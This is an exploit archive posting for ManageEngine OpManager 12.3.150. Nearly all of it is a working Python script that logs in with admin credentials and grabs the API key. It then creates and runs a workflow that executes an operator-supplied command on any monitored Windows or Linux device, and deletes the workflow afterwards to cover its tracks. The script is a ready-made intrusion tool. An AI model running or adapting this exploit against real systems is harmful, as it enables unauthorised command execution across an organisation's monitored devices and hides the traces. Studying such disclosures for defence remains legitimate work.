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ManageEngine opManager 12.3.150 Remote Code Execution

ManageEngine opManager 12.3.150 Remote Code Execution
Posted Aug 15, 2019
Authored by kindredsec

ManageEngine opManager version 12.3.150 suffers from an authenticated code execution vulnerability.

tags | exploit, code execution
MD5 | 95a7e9f9ba452b69e176e487cbd9d7eb

ManageEngine opManager 12.3.150 Remote Code Execution

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#!/usr/bin/env python3

# Exploit Title: ManageEngine opManager Authenticated Code Execution
# Google Dork: N/A
# Date: 08/13/2019
# Exploit Author: @kindredsec
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/network-monitoring/download.html
# Version: 12.3.150
# Tested on: Windows Server 2016
# CVE: N/A

import requests
import re
import random
import sys
import json
import string
import argparse

C_WHITE = '\033[1;37m'
C_BLUE = '\033[1;34m'
C_GREEN = '\033[1;32m'
C_YELLOW = '\033[1;33m'
C_RED = '\033[1;31m'
C_RESET = '\033[0m'
LOGIN_FAIL_MSG = "Invalid username and/or password."

def buildRandomString(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))


def getSessionData(target, user, password):

session = requests.Session()
session.get(target)

# Login Sequence
randSid = random.uniform(-1,1)
getParams = { "requestType" : "AJAX" , "sid" : str(randSid) }
postData = { "eraseAutoLoginCookie" : "true" }
session.post( url = target + "/servlets/SettingsServlet", data = postData, params = getParams )

postData = { "loginFromCookieData" : "false",
"ntlmv2" : "false",
"j_username" : user,
"j_password" : password
}
initialAuth = session.post( url = target + "/j_security_check", data = postData )


if LOGIN_FAIL_MSG in initialAuth.text:

print(f"{C_RED}[-]{C_RESET} Invalid credentials specified! Could not login to OpManager.")
sys.exit(1)

elif initialAuth.status_code != 200:
print(f"{C_RED}[-]{C_RESET} An Unknown Error has occurred during the authentication process.")
sys.exit(1)

apiKeyReg = re.search(".*\.apiKey = .*;", initialAuth.text)
apiKey = apiKeyReg.group(0).split('"')[1]

return { "session" : session , "apiKey" : apiKey }




def getDeviceList(target, session, apiKey):

deviceList = session.get( target + "/api/json/v2/device/listDevices" , params = { "apiKey" : apiKey } )

devices = {}
devicesJsonParsed = json.loads(deviceList.text)
for row in devicesJsonParsed["rows"]:
devices[row["deviceName"]] = [ row["ipaddress"], row["type"] ]

return devices



def buildTaskWindows(target, session, apiKey, device, command):

# Build Task
taskName = buildRandomString()
workFlowName = buildRandomString(15)

jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""
jsonData += '"' + taskName + '"'
jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"cmd.exe /c ${FileName}.bat ${DeviceName} ${UserName} ${Password} arg1","scriptBody":"""
jsonData += '"' + command + '"'
jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""
jsonData += '"' + workFlowName + '"'
jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""
jsonData += '"' + device + '"'
jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""
jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""
jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""

makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })

if "has been created successfully" in makeWorkFlow.text:
print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
else:
print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
sys.exit(1)

return workFlowName


def buildTaskLinux(target, session, apiKey, device, command):

taskName = buildRandomString()
workFlowName = buildRandomString(15)

jsonData = """{"taskProps":{"mainTask":{"taskID":9,"dialogId":3,"name":"""
jsonData += '"' + taskName + '"'
jsonData += ""","deviceDisplayName":"${DeviceName}","cmdLine":"sh ${FileName} ${DeviceName} arg1","scriptBody":"""
jsonData += '"' + command + '"'
jsonData += ""","workingDir":"${UserHomeDir}","timeout":"60","associationID":-1,"x":41,"y":132},"name":"Untitled","description":""},"triggerProps":{"workflowDetails":{"wfID":"","wfName":"""
jsonData += '"' + workFlowName + '"'
jsonData += ""","wfDescription":"Thnx for Exec","triggerType":"0"},"selectedDevices":["""
jsonData += '"' + device + '"'
jsonData += """],"scheduleDetails":{"schedType":"1","selTab":"1","onceDate":"2999-08-14","onceHour":"0","onceMin":"0","dailyHour":"0","dailyMin":"0","dailyStartDate":"2019-08-14","weeklyDay":[],"wee"""
jsonData += """klyHour":"0","weeklyMin":"0","monthlyType":"5","monthlyWeekNum":"1","monthlyDay":["1"],"monthlyHour":"0","monthlyMin":"0","yearlyMonth":["0"],"yearlyDate":"1","yearlyHour":"0","y"""
jsonData += """earlyMin":"0"},"criteriaDetails":{}}}"""

makeWorkFlow = session.post(url = target + "/api/json/workflow/addWorkflow", params = { "apiKey" : apiKey }, data = { "jsonData" : jsonData })

if "has been created successfully" in makeWorkFlow.text:
print(f"{C_GREEN}[+]{C_RESET} Successfully created Workflow")
else:
print(f"{C_RED}[-]{C_RESET} Issues creating workflow. Exiting . . .")
sys.exit(1)

return workFlowName


# Get the ID of the newly created workflow
def getWorkflowID(target, session, apiKey, workflowName):

getID = session.get(url = target + "/api/json/workflow/getWorkflowList", params = { "apiKey" : apiKey })

rbID = -100
workflowJsonParsed = json.loads(getID.text)
for wf in workflowJsonParsed:
if wf['name'] == workflowName:
rbID = wf['rbID']

if rbID == -100:
print(f"{C_RED}[-]{C_RESET} Issue obtaining Workflow ID. Exiting ...")
sys.exit(1)

return rbID


def getDeviceID(target, session, apiKey, rbID, device):

getDevices = session.get(url = target + "/api/json/workflow/showDevicesForWorkflow", params = { "apiKey" : apiKey , "wfID" : rbID })
wfDevicesJsonParsed = json.loads(getDevices.text)
wfDevices = wfDevicesJsonParsed["defaultDevices"]
deviceID = list(wfDevices.keys())[0]

return deviceID



def runWorkflow(target, session, apiKey, rbID, device):

targetDeviceID = getDeviceID(target, session, apiKey, rbID, device)

print(f"{C_YELLOW}[!]{C_RESET} Executing Code . . .")
workflowExec = session.post(target + "/api/json/workflow/executeWorkflow", params = { "apiKey" : apiKey }, data = { "wfID" : rbID, "deviceName" : targetDeviceID, "triggerType" : 0 } )

if re.match(r"^\[.*\]$", workflowExec.text.strip()):
print(f"{C_GREEN}[+]{C_RESET} Code appears to have run successfully!")
else:
print(f"{C_RED}[-]{C_RESET} Unknown error has occurred. Please try again or run the process manually.")
sys.exit(1)

deleteWorkflow(target, session, apiKey, rbID)
print(f"{C_GREEN}[+]{C_RESET} Exploit complete!")


def deleteWorkflow(target, session, apiKey, rbID):

print(f"{C_YELLOW}[!]{C_RESET} Cleaning up . . .")
delWorkFlow = session.post( target + "/api/json/workflow/deleteWorkflow" , params = { "apiKey" : apiKey, "wfID" : rbID })


def main():

parser = argparse.ArgumentParser(description="Utilizes OpManager's Workflow feature to execute commands on any monitored device.")
parser.add_argument("-t", nargs='?', metavar="target", help="The full base URL of the OpManager Instance (Example: http://192.168.1.1)")
parser.add_argument("-u", nargs='?', metavar="user", help="The username of a valid OpManager admin account.")
parser.add_argument("-p", nargs='?', metavar="password", help="The password of a valid OpManager admin account.")
parser.add_argument("-c", nargs='?', metavar="command", help="The command you want to run.")

args = parser.parse_args()

insufficient_args = False
if not args.u:
print(f"{C_RED}[-]{C_RESET} Please specify a username with '-t'.")
insufficient_args = True
if not args.t:
print(f"{C_RED}[-]{C_RESET} Please specify a target with '-t'.")
insufficient_args = True
if not args.p:
print(f"{C_RED}[-]{C_RESET} Please specify a password with '-p'.")
insufficient_args = True
if not args.c:
print(f"{C_RED}[-]{C_RESET} Please specify a command with '-c'.")
insufficient_args = True

if insufficient_args:
sys.exit(1)


sessionDat = getSessionData(args.t, args.u, args.p)
session = sessionDat["session"]
apiKey = sessionDat["apiKey"]

devices = getDeviceList(args.t, session, apiKey)

# if there's only one device in the OpManager instance, default to running commands on that device;
# no need to ask the user.
if len(devices.keys()) == 1:
device = list(devices.keys())[0]
else:
print(f"{C_YELLOW}[!]{C_RESET} There appears to be multiple Devices within this target OpManager Instance:")
print("")
counter = 1
for key in devices.keys():
print(f" {counter}: {key} ({devices[key][0]}) ({devices[key][1]})")

print("")
while True:
try:
prompt = f"{C_BLUE}[?]{C_RESET} Please specify which Device you want to run your command on: "
devSelect = int(input(prompt))
except KeyboardInterrupt:
sys.exit(1)
except ValueError:
print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
sys.exit(1)

if devSelect < 1 or devSelect > len(list(devices.keys())):
print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
sys.exit(1)

else:
device = list(devices.keys())[counter - 1]
break

# don't hate, it works doesn't it?
if "indows" in devices[device][1]:
workflowName = buildTaskWindows(args.t, session, apiKey, device, args.c)
else:
workflowName = buildTaskLinux(args.t, session, apiKey, device, args.c)

workflowID = getWorkflowID(args.t, session, apiKey, workflowName)
runWorkflow(args.t, session, apiKey, workflowID, device)


main()

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